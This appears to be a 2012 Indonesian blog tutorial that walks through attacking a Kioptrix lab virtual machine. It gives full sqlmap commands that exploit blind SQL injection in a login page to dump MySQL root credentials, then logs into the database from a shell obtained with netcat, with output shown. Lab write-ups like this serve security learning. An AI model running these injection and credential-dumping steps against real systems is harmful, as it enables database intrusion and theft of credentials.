Searching...
May 8, 2012
Tuesday, May 08, 2012

Tricky Log In to MySQL

Ada banyak cara untuk melakukan Log In MySQL. Kebanyakan dilakukan dengan Web Shell yang memiliki fitur koneksi ke database MySQL sebuah web server. Setidaknya anda melakukan beberapa tahapan sebelum anda sampai ke database server.
  1. SQL Injection (Need Tools)
  2. Log in site (Need Browser)
  3. Upload Shell (Need Shell)
  4. Find config.php or etc
  5. Log In
Namun saya hanya membutuhkan SQLmap dan netcat untuk menembak database server. Satu hal yang terpenting, anda harus menggunakan kecerdasan anda sendiri ketika menghadapi sebuah masalah dalam melakukan penetrasi test. Anda tidak bisa mengandalkan satu teori untuk menyelesaikan banyak masalah. Dalam hal ini, saya menemukan banyak kesulitan.
  1. Port MySQL difilter, sehingga saya tidak bisa langsung mengkoneksikan mesin saya ke database server dengan IP address saya (mungkin pengaturan iptables yang membatasi saya)
  2. Tidak ada config.php pada document root, sehingga saya harus melakukan blind SQLi untuk memperoleh root password mysql.
  3. Tidak ada fitur upload pada situs ini, sehingga saya tidak dapat melakukan upload shell untuk melakukan koneksi mysql.


Sadarilah, tidak ada yang mudah. Dan percayailah, bahwa yang sulit akan membawa anda pada teori baru yang membuat anda semakin berkualitas. ;)

Dalam turorial kali ini, saya masih menggunakan Virtual OS yang berjalan pada VMware dengan IP address 10.10.1.128. Tutorial ini masih berkaitan dengan Spawn Shell With SQLmap dan Back Connect With SQLmap. Jika anda belum membaca kedua tutorial di atas, alangkah baiknya jika anda memahami kedua konsep diatas sebelum anda melakukan tahap ini.

MySQL Connection

Attacker (IP attacker) -> (Username + Password) -> MySQL port (3306)

Jika autentikasi valid, maka attacker dapat mengakses database web server. Autentikasi sendiri dapat dibatasi dengan pengaturan dari MySQL sendiri, atau melakukan filtrasi dari IP luar untuk memblokir paket yang masuk ke port 3306. Dan logikanya, TIDAK ADA web server yang menolak koneksi localhost untuk melakukan log in ke dalam database. Ini mengapa kebanyakan peretas menggunakan webshell untuk mengkoneksikan mesinnya ke dalam database web server.

Attacker -> Web Shell (IP Local) -> (Username + Password) -> MySQL port (3306)

Pada kasus diatas, kemungkinan keberhasilan log in sangat tinggi, terlebih karena attacker menggunakan IP local milik web server, sehingga MySQL akan membaca paket login dengan IP 127.0.0.1. Paket ini tidak akan ditolak, karena berasal dari localhost. Dan permasalahannya adalah, mampukan attacker mendapatkan username + passwor? Tantangan yang sesungguhnya bukanlah mencari config.php, karena config.php hanya menyimpan username + password dari virtual user saja. Tantangan sesungguhnya justru datang dari, mampukah attacker mendapatkan root password MySQL?

EULA (End User License Agreement)
Tutorial ini ditulis dengan tujuan edukasi, penyalahgunaan skill yang berasal dari tutorial ini, adalah tanggung jawab penulis.

Preparation :
  1. SQLmap (dapat ditemukan di backtrack)
  2. netcat (dapat ditemukan di backtrack)
Walkthrough :
1. Dumping username + password root MySQL

Untuk melakukan hal ini, saya menggunakan SQLmap 1.0 versi developer pada revisi 5029. Kita tau bahwa mesin 10.10.1.128 memiliki kelemahan terhadap penyerangan SQL Inection pada halaman checklogin.php pada parameter mypassword (baca tutorial SQL Injection Level 4 Part 1). Setelah melalui tahap pengujian, ternyata kita mendapatkan database MySQL 5. Dan situs ini lemah terhadap penyerangan SQL Injection type boolean-based blind, dan AND/OR time-based blind. Karena ber-type blind, maka ini akan terasa seperti menunggu hujan emas. SQLmap akan berusaha mencari string yang tepat pada percobaan satu per satu dalam menemukan informasi yang diinginkan. Ini seperti meraba-raba kertas putih, menebaknya, kemudian jika tebakan anda benar maka karakter tebakan anda kan muncul. SQLmap akan menebak karakter per karakter. Ini adalah ciri khas dari SQL Injection type blind.

Command :
<< back|track 5 R2 [~] sqlmap -u "http://10.10.1.128/checklogin.php" --data="POSTDATA=myusername=admin&mypassword=admin&Submit=Login" --drop-set-cookie --dbs

Perintah di atas bertujuan untuk melakukan ekstraksi daftar database yang ada pada web server. Dan hasilnya.


Sebagai informasi, username dan password root mysql selalu terletak pada database mysql. Maka kita harus menggunakan database ini untuk mencari table dan column yang tepat, dimana username dan passwor root mysql tersimpan.

Command :
<< back|track 5 R2 [~] sqlmap -u "http://10.10.1.128/checklogin.php" --data="POSTDATA=myusername=admin&mypassword=admin&Submit=Login" --drop-set-cookie -D mysql --table


Kita berhasil mendapatkan table user di dalam database mysql. Selanjutnya kita akan menggunakan table ini untuk melakukan ekstraksi daftar kolom yang terdapat di dalam table user.

Command :
<< back|track 5 R2 [~] sqlmap -u "http://10.10.1.128/checklogin.php" --data="POSTDATA=myusername=admin&mypassword=admin&Submit=Login" --drop-set-cookie -D mysql -T user --column


Kita berhasil mendapatkan kolom User dan Password. Langkah selanjutnya adalah mengekstraksi ke dua kolom ini, sehingga kita dapat memperoleh data di yang tersimpan di dalam ke dua kolom ini.

Command :
<< back|track 5 R2 [~] sqlmap -u "http://10.10.1.128/checklogin.php" --data="POSTDATA=myusername=admin&mypassword=admin&Submit=Login" --drop-set-cookie -D mysql -T user --C User,Passwod --dump


Ternyata password mysql tidak diatur oleh web admin. Dalam beberapa kasus, mungkin anda akan menemukan password telah diatur, sehingga anda menemukan password yang terenkripsi. Anda harus melakukan decode hash ini sehingga anda mendapatkan clear text dari hash ini. Untuk melakukan decode hash, anda bisa menggunakan JTR (John The Ripper), atau findmyhash.py yang bisa anda temukan pada backtrack. Anda juga bisa melakukan decode hash dengan bantuan online pada situs-situs yang menyediakan jasa decode hash.


2. Log In database

Anda bisa langsung melakukan log in ke dalam database dari terminal, jadi anda tidak perlu menggunakan web shell untuk melakukan hal ini. Basic command dari koneksi mysql adalah

Command :
<< back|track 5 R2 [~] mysql -u (username) -h (host) -p (password)

Contoh dalam kasus saya

Command :
<< back|track 5 R2 [~] mysql -u root -h 10.10.1.128


Ada yang aneh. Saya tidak dapat log in ke dalam database. Mungkin ini menjadi alasan mengapa web admin tidak mengatur password root mysql, karena dia telah membatasi IP luar untuk melakukan log in ke dalam database web server. Karena IP saya dibatasi, maka saya akan menggunakan IP web server untuk melakukan koneksi ke dalam database. Bukan melalui proxy, namun melalui OS shell. Saya akan mengendalikan OS shell milik web server, sehingga saya akan dikenali sebagai user local oleh web server. Untuk mengendalikan OS shell, saya menggunakan bantuan netcat. Untuk melakukan hal ini, anda harus membaca turotial Back Connect With SQLmap.


Dari sini, saya akan melakukan log in ke dalam database web server.

Command :
www-data@Kioptrix4:/var/www$ mysql -u rootWelcome to the MySQL monitor.  Commands end with ; or \g.Your MySQL connection id is 7243Server version: 5.0.51a-3ubuntu5.4 (Ubuntu)
Type 'help;' or '\h' for help. Type '\c' to clear the buffer.
mysql> show databases;show databases;+--------------------+| Database           |+--------------------+| information_schema | | members            | | mysql              | +--------------------+3 rows in set (0.00 sec)


Karena pasword root blank, maka saya tidak menambahkan parameter -p (untuk mengatur password saat melakukan log in).


Cheers. No hard feeling.

created by : red-dragon

1 comment:

 
Back to top!